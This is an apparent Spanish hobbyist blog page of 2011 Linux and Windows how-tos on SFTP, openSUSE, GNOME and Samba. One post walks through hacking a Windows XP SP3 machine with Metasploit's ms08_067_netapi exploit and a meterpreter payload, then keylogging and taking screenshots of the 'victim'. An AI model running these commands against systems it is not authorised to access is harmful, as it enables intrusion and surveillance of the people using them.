Mostrando entradas con la etiqueta how-to. Mostrar todas las entradas
Mostrando entradas con la etiqueta how-to. Mostrar todas las entradas

30 de octubre de 2011

Videotutorial Instalación y configuracion de un FTP Seguro (SFTP) en IIS. Paso a paso

Esto no es mucho de mi agrado, yo no quería =( pero tuve que hacerlo como examen de parcial en una de las materias de especialidad de Redes de mi uni. En una vemos Linux y en otra Windows, en fin.

Les presento este Video Tutorial sobre cómo realizar la instalación y configuración de un Servidor FTP Seguro o (SFTP). Es decir, el Servidor FTP + SSL.

Se explica desde la instalación de FTP 7.5 que según mis pruebas es el que soporta SSL (versiones anteriores no, lo aprendí a la mala xD).

En el video se explica cómo crear un certificado SelfSigned (autofirmado) y vincularlo a nuestro sitio FTP.

Sin más, aquí les dejo el vídeo, recuerden, para mejor visibilidad, veánlo en pantalla completa.

Ah.. Y orgullosamente el screencast está hecho con ffmpeg :D y editado desde consola con ffmpeg y mencoder \o/



16 de octubre de 2011

Videotutorial: Obtener un shell de un Windows XP SP3 aka Hackear un Xp usando Metasploit

Por esto es bueno tener siempre tu equipo actualizado, con antivirus, firewalls y mejor aún... Que no sea Windows xD al menos para dificultar un poco las cosas....

Esto es con fines educativos, el uso que se le de depende de cada persona u.u La computadora con la que hice el videotutorial es mía (aunque la está usando mi hermano) así que no he hecho nada malo u.u
¿Qué se va a hacer?
  • Obtener un shell de una máquina Windows XP con Service Pack 3 explotando el puerto 445
  • Iniciar un keylogger en la máquina víctima.
  • Ver procesos ejecutándose y cómo matarlos
  • Tomar capturas de pantalla de la víctima
  • Lo demás está en tu imaginación.... Puedes hacer lo que quieras, ya estás en la máquina víctima!! XD

¿Qué se necesita?
Una víctima =P, (ruby y rubygems requisito para Metasploit) y Metasploit

Comandos usados (para llegar al shell) en el videotutorial
# cd /opt/framework.../msf3
# ./msfconsole

> use exploit/windows/smb/ms08_067_netapi
>show options
>set rhost IP
>set payload windows/meterpreter/bind_tcp
>show options
>exploit

Ah y por cierto... una disculpa por la mala calidad... no supe usar mis editores de vídeo xD

Vídeo (ver en pantalla completa para mejor visibilidad de las letras):



Crear una imagen personalizada de tu openSUSE //Alternativa a Remastersys

Hace algunos añitos probé en Debian y en Ubuntu una aplicacion llamada Remastersys, lo que hace es crear una imagen a partir del sistema que ya tienes instalado.

Ahora me surgió la necesidad de hacer algo parecido en openSUSE y preguntando e investigando aquí y allá mi profe de Redes me recomendó probar "kiwi".

En realidad fue un tormento porque no encontré mucha información y no tenía idea de cómo empezar xD la única forma en que pude fue D: gráficamente u.u y aquí va....

Primero instalamos kiwi y algunas herramientas de kiwi que se usarán en el proceso:

zypper in kiwi kiwi-config-openSUSE kiwi-desc-isoboot kiwi-desc-usbboot kiwi-desc-vmxboot kiwi-templates kiwi-tools

Nota: Es necesario tener también nuestro DVD de openSUSE...

Y una vez terminado esto nos vamos a Sistema>YaST>Miscelánea>Creador de imágenes
La primera vez que ejecutes esto no aparecerá nada, así que damos clic en Añadir.
Le pones el nombre que quieras, seleccionas Crear desde el principio, Tipo de imagen "Imagen ISO Live" y en Directorio de salida elige el que gustes, por default está /tmp. Por último (en esta seccion) añade, quita o deja los repositorios que gustes... Siguiente

Después de aceptar o ignorar lo que se muestre... (ya veras a lo que me refiero) pasamos a los ultimos pasos. En la nueva ventana agregamos los paquetes que querramos (clic en cambiar) yo agregue ClamAV, ruby, rubygems y otros mas, tu agrega o quita los que quieras, es tu imagen :P 

Selecciona el tamaño de tu ISO (yo la puse de 4200MB) y clic en Descripcion
Cambia los datos que gustes.... La distribucion del teclado, la configuracion (para distribucion española "es") y clic en Usuarios
Agrega los usuarios que gustes, asígnales una contraseña, lo que tu quieras hacerles y damos clic en Terminar... Las otras opciones (Guiones y Directorios mejor las dejamos así.... xD) Ah... Recuerda tener insertado tu disco de openSUSE sino marcará algunos errores u.u

Una vez dado clic en Terminar ve por un café, tómate una pequeña siesta en fin, vuelve en un par de horas para cuando vaya a terminar por fin la creacion de la imagen! Si... demora de 2 a 3 horitas :P

Y cuando al fin diga "Creacion de la imagen terminada" en la carpeta que elegimos al principio (si no cambiaste tmp, en esa) ahí estará la ISO del sistema que acabas de personalizar :D
Puedes probarla antes con alguna maquina virtual o bien quémala ya en un DVD o grábala en un pendrive....

Es todo, espero que les sea de utilidad :D bye!

24 de septiembre de 2011

Crear fondos de pantallas dinámicos para Gnome al estilo Cosmos

Todos los usuarios de Gnome hemos visto que casi siempre trae un fondo de pantalla que va cambiando de imágenes. Este fondo es conocido como Cosmos y trae imágenes de planetas, galaxias y así.
Aquí les voy a mostrar cómo crear su propio fondo dinámico :D es realmente sencillo.

Para empezar, abran su editor de textos favoritos y vamos a escribir el siguiente código:



<?xml version="1.0" encoding="utf-8"?>
<background>
<starttime>
<year>2009</year>
<month>08</month>
<day>04</day>
<hour>00</hour>
<minute>00</minute>
<second>00</second>
</starttime>

Lo que estamos creando es un archivo xml y el fondo de pantalla va a empezar a partir del 4 de agosto del 2009 a media noche :P Cámbienlo, déjemlo así, como gusten.

Después de esto, vamos ahora sí a colocar las imágenes. Escriban esto:


<static>
<duration>60</duration>
<file>/home/usuario/Imágenes/Wallpaper 1.jpg</file>
</static>

Se entiende por sí solo, <duration>X</duracion> indica cuánto tiempo va a estar la imagen de fondo. <file> es la ruta de la imagen que se va a mostrar. Pon tu propia ruta!

Después viene la transición a la siguiente imagen:


<transition>
<duration>2</duration>
<from>/home/usuario/Imágenes/Wallpaper 1.jpg</from>
<to>/home/usuario/Imágenes/Wallpaper 2.jpg</to>
</transition>

<duration> indica cuánto tiempo va a durar la transición de una imagen a otra. <from> el archivo de origen (la que se está mostrando) y <to> cuál se va a mostrar.

Ahora ponemos otro <static> para que se muestre la segunda imagen (la que pusismos en <to>)


<static>
<duration>40</duration>
<file>/home/usuario/Imágenes/Wallpaper 2.jpg</file>
</static>

Y por ejempo, yo quiero que de aquí me mande a la primera imagen ya para finalizar:


<transition>
<duration>2</duration>
<from>/home/usuario/Imágenes/Wallpaper 2.jpg</from>
<to>/home/usuario/Imágenes/Wallpaper 1.jpg</to>
</transition>

Pon tantos <static></static><transition></transition> como tú quieras, depende de cuantas imágenes quieras mostrar.

Al finalizar cierra con </background>, guardas con extensión .xml listo. Ahora vas a tu escritorio, clic derecho>Cambiar Fondo de escritorio>Añadir>Seleccionas por ahí en una lista que aparece que muestre "Todos los archivos" (por default sólo muestra "Imágenes")> y seleccionas tu archivo xml. 

Ya tienes tu fondo de pantalla dinámico :D Espero que te haya servido, aquí dejo un ejemplo completo:

<?xml version="1.0" encoding="utf-8"?>

<background>

<starttime>
<year>2009</year>
<month>08</month>
<day>04</day>
<hour>00</hour>
<minute>00</minute>
<second>00</second>
</starttime>

<static>
<duration>60</duration>
<file>/home/usuario/Imágenes/Wallpaper 1.jpg</file>
</static>
<transition>
<duration>2</duration>
<from>/home/usuario/Imágenes/Wallpaper 1.jpg</from>
<to>/home/usuario/Imágenes/Wallpaper 2.jpg</to>
</transition>

<static>
<duration>40</duration>
<file>/home/usuario/Imágenes/Wallpaper 2.jpg</file>
</static>

<transition>
<duration>2</duration>
<from>/home/usuario/Imágenes/Wallpaper 2.jpg</from>
<to>/home/usuario/Imágenes/Wallpaper 1.jpg</to>
</transition>

</background>






17 de septiembre de 2011

[How-to] Ida y vuelta: Actualizar Gnome 2 a Gnome 3 y regresar de Gnome 3 a Gnome 2. OpenSUSE

Ya tenía días que quería actualizar mi Gnome 2 a Gnome 3 y hasta hoy me decidí hacerlo.

El proceso lo hice en openSUSE 11.4 "Celadon" y es relativamente fácil, sólo hay que seguir los siguientes pasos:

Ida: Instalar Gnome 3

1.- Añadir los repositorios de Gnome 3. Escribir desde consola con permisos de superusuario lo siguiente:

# zypper ar obs://GNOME:STABLE:3.0/openSUSE_11.4 GNOME_STABLE_3.0

Lo que estamos diciendo es que añada a los repositorios esa URL y que le ponga como nombre GNOME_STABLE_3.0

2.- Le decimos a zypper que le de una alta prioridad al repositorio que acabamos de agregar:

# zypper mr -p 98 -r GNOME_STABLE_3.0

3.- Actualizamos nuestra distro. Este proceso va a pedir descargar cerca de 100MB, desinstalará muchas cosas e instalará otra más. Aquí esta actualizando ya todos los paquetes de Gnome2 a Gnome3. Escribimos lo siguiente:

# zypper dup

4.- Aceptamos todo lo que tengamos que aceptar y una vez terminado vamos a instalar lo último para poder tener Gnome 3 completito. Escribimos:

# zypper install gnome-shell metatheme-adwaita-common

5.- Reinicia y listo! Ya tienes Gnome 3. Muy fácil no?



Vuelta: Quitar Gnome 3 e Instalar Gnome 2

La verdad a los 5 minutos de haber reiniciado y tener Gnome 3 me decidí a volver a Gnome 2, digamos que no me conveció mucho y no cumplió con todas mis espectativas. Si tu como yo por alguna razón quieres quitar Gnome 3 y volver a Gnome 2 has lo siguiente:

Vamos a realizar casi los mismos pasos anteriores pero en su inverso:

1.- Quitar el repositorio de Gnome 3

# zypper rr GNOME_STABLE_3.0

2.- Actualizar distro

# zypper dup

3.- Quitamos la shell instalada y metatheme

#  zypper remove gnome-shell metatheme-adwaita-common

4.- Instalamos de nueva cuenta la shell pero ahora de Gnome 2

# zypper install gnome-shell

5.- Reiniciamos y listo :D ya tenemos otra vez Gnome 2


[How-to] Ahorrarnos tiempo y esfuerzo escribiendo comandos en Consola: Alias

Para los amantes de la Línea de Comandos (CLI) es muy común estar escribiendo líneas repetitivas de dos tres o muchas palabras y parámetros por ejemplo:
  • zypper install
  • tar -zxvf
  • apt-cache search
  • nmap -e eth0 -Pn -sV -T4 -v -O 
Entre muchas otras sentencias que uses diarios bien, puedes ahorrarte algo de tiempo escribiendo todo eso sustituyéndolo por alguna sencilla palabra. A esto le llamamos Alias.


Eso lo hacemos de la siguiente manera.

1.- Piensa en las sentencias que quieres agregar y determina si su uso requiere permisos de superusuario o si las puedes ejecutar como usuario normal.

¿Por qué hacer esto?

Los alias van a depender del usuario que los ejecute, veremos esto enseguida.

2.- Una vez determinado si se requieren los privilegios o no escribamos esto desde consola (nano puede ser sustituido por tu editor favorito).

$ nano /home/TU_NOMBRE_DE_USUARIO/.bash_aliases


Nota 1: "/home/TU_NOMBRE_DE_USUARIO/" se puede sustituir escribiendo sólo: "~/" :P 

Nota 2: El $ el cual indica que la sentencia es con permisos de usuario normal. Ese símbolo aparece en la consola, no lo escribas tú :P como dije, indica que estas con permisos de simple mortal ya que es así como debes ejecutar la orden.

Aquí en este archivo vas a escribir todas las sentencias que quieras ejecutar y que no requieran de permisos de superusuario. La sintáxis es la siguiente

alias nombreAlias='sentencia a ejecutar'

Por ejemplo:

alias ssh_miweb='ssh -l usuario -p 22 midominio.com

Cree un alias que se llama ssh_miweb y que lo que hace es conectarse vía SSH con el usuario "usuario" a través del puerto 22 hacia midominio.com. Es más rápido simplemente escribir ssh_miweb que todo eso no?

Has la lista de todos los alias con sus sentencias que quieras. Guardamos (Si usas nano presionas Control+O y Enter), cerramos el archivo (con nano Control+X) y pasamos al paso 3.

3.- Ahora hay que editar un archivo más para que estos alias se carguen al iniciar tu sesión. Escribimos en consola:

$ nano ~/.bashrc

Al final del archivo agregamos lo siguiente:

if [ -f ~/.bash_aliases ]; then
      . ~/.bash_aliases
fi

Guardamos, cerramos y con esto ya podrás usar tus alias la próxima vez que inicies sesión... Sin embargo...

4.- Si quieres usarlos sin necesidad de volver a loguearte escribe lo siguiente desde consola:

$ source ~/.bash_aliases

Ahora sí, ya puedes usar tus alias :D

5.- Casi para terminar, para las sentencias que requieran permisos de superusuario debes crear en /root/ el archivo ./bash_aliases

# nano ~/.bash_aliases

Otra nota: Ahora tiene # ya que esto debe realizarse con permisos de root. Sí, ahora sí ejecuta esta orden con permisos del oh todo poderoso usuario root. Una vez agregado todos los alias guardamos el archivo y cerramos.

6.- Por último, copiamos el archivo .bashrc de tu carpeta de usuario a la de root:

# cp /home/TU_NOMBRE_DE_USUARIO/.bashrc ~/

Es necesario que escribas esta vez la ruta completa de tu home ya que estas como root y el símbolo ~ indica la ruta /root/ la cual es el home de root.

Y es todo :D Espero que les sea de utilidad.

7 de julio de 2011

[How-to] Primary Domain Controller PDC con Samba en Gentoo

Este es un How-to sobre cómo instalar y configurar un PDC (Controlador de Dominio Primario) en Gentoo, aunque debería funcionar para cualquier distribución GNU/Linux.

Es algo sencillo pero funciona correctamente (probado por mí). 

Para soportar correctamente unas 30 conexiones se requiere de almenos 2GB en RAM. Y ya que un poco largo les dejo un archivo para que preparé con todas las configuraciones y explicaciones necesarias para que realicen el PDC.


Es un archivo con extensión odt así que tendrán que descargarlo. Cualquier problema, no duden en reportar.